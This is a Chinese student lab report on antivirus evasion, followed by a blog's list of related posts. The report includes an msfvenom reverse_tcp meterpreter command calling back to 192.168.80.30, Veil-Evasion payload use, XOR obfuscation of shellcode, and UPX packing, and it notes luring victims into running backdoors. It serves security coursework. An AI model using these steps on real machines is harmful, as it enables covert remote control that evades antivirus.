Exp3 免杀原理与实践 20154320 李超
基础知识
- 如何检测出恶意代码
- 基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后门等)则被认为是恶意代码
- 启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。
- 基于行为的动态分析检测:通过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
- 什么是免杀及如何进行免杀
- 免杀,字面意思上理解,就是“反-杀毒”,也就是通过一定的手段,使得杀毒工具无法检测出来软件病毒或者木马之类的“干扰性”特征。免杀的方法包括:
- 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。
- 文件加壳:可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析。
- 在有shellcode的情况下,用encode进行编码,payload重新编译生成可执行文件
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
实验过程
Msfvenom使用编码器

检测上节课利用Msfvenom生成的后门软件,事实证明Metaspliot作为做热门的平台之一,各AV厂商都有所防范。
多编码几次也没有明显效果。
事实上杀毒软件厂商在对特征码进行扫描的同时,也会对编码器所用的解码代码进行检索,像我们之前常用的比较有名的编码器早已经被杀软厂商们加入了黑名单,所以使用该编码器即使编码次数再多也不会起到实质性效果。
采用免杀平台Veil-Evasion生成后门软件
这次使用免杀功能更强一点的一款平台Veil-Evasion

按照其提示,输入list查看payload,选择能实现反弹端口连接的payload(一般看名字就能看出来,
rev_tcp,rev_http结尾的一般都是)这次我们随便选择其中满足我们要求的payload,键入use + name of payload(截图的时候我选择的是ruby/meterpreter/rev_tcp但是生成的时候一直弹出payload有问题,所以实际上使用的是python/meterpreter/rev_tcp)将.exe文件拷贝出来到靶机上,结果被查杀
在网站上进行检测

- veil-evasion平台如此强大?
C语言调用Shellcode
- 用指令会生成一个c语言格式的Shellcode数组。指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.30 LPORT=443 -f c 用Microsoft Visual Studio 2013或者Visual C++ 6.0进行编译运行生成可执行文件。


- 顺利回连
用VirSCAN.org进行检测

修改shellcode
- 用指令生成的shellcode数组,仍是会被发现,所以我们可以对这个数组做一些变化,比如对奇偶位分别进行异或:
奇数位异或85,即01010101
偶数位异或170,即10101010
将原数组的内容进行改变,这样在杀软检查时被发现的几率就减小了
- kali成功获取权限

UPX加壳

用下面的命令来加压缩壳
# upx 4320-1.exe -o 4320m.exe
·
效果并不是很好
离实战还缺些什么技术或步骤
- 最关键的部分实在传播环节,实验中实在关闭防火墙的情况下将后门程序传至靶机中,现实中一般普通的个人计算机都会打开防火墙,更不用说涉密计算机,也正因如此,确认下载网站的安全性是相当重要的,如果主动选择了忽略就等于让对方轻而易举地突破了这一关键环节。
- 其次,在实验中都是靶机主动完成回连,通过一定的伪装和诱导让被攻击者打开后门程序才是更高级和更现实的方法。
Exp3 免杀原理与实践 20154320 李超的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- IDEA连接数据库自动生成实体类
1.连接数据库 (1)按下图 , 点击view-----选择tool windows----------选择database并点击 (2)弹出Database窗口,点击加号--------- ...
- python数据类型及其详解
一.数据类型介绍 1.字符串(string) 三种类型:单引号,双引号,三引号 a = 'jam' b = "JamHsiao" c = '''JAMHSIAO''' print( ...
- Windows+Apache+mod_wsgi+Flask部署方法
环境:windows7 64bit 1.python版本3.6.5,32位 2.下载Apache,版本httpd-2.4.33-o102o-x86-vc14-r2,32位,vc14编译 3.下载mod ...
- ajax 常用功能 结构分解
ajax 和后台交互基本结构 0.触发的事件. 1.获取参数 2.url 3.请求方法get/post 4.对返回结果的处理 .done如果有返加 .fail 失败 $(function () { / ...
- pyautogui 文档(一):简介
PyAutoGUI 可实现控制鼠标.键盘.消息框.截图.定位等功能,最近做了个自动化需要这些,故了解并记录下 自动化需要操作win7上的一个app,用PyAutoGUI做的,定位坐标,点击鼠标等,但是 ...
- hbase基础建表语句
在Hadoop目录下的HBASE下执行命令 ./hbase shell 进入hbase环境 创建hbase 数据库表 create "表名", "字段A",&q ...
- 【转载】在linux下别用zip 用tar来压缩文件 zip解压后还是utf-8 window10是GBK
3.2 使用 unzip 命令解压缩 zip 文件 将 shiyanlou.zip 解压到当前目录: $ unzip shiyanlou.zip 使用安静模式,将文件解压到指定目录: $ un ...
- zabbix添加nginx监控
nginx内置了一个status状态的功能,通过配置可以看到nginx的运行情况,status显示的内容包括当前连接数,处于活动状态的连接数,已经处理的请求数等等,可以利用这个功能编写zabbix监控 ...
- git常用方法
一.创建项目 git clone xx.git 克隆项目到本地 git init 初始化本地项目,生成.git文件 二.创建分支,推送分支,合并 ...
- JavaSE基础知识(5)—面向对象(5.6 static关键字)
一.说明 static属于一种修饰符,可以用于修饰 属性.方法.初始化块.内部类用static修饰的成员,称为静态成员不用static修饰的成员,称为普通成员 二.静态属性的特点 1.生命周期 静态属 ...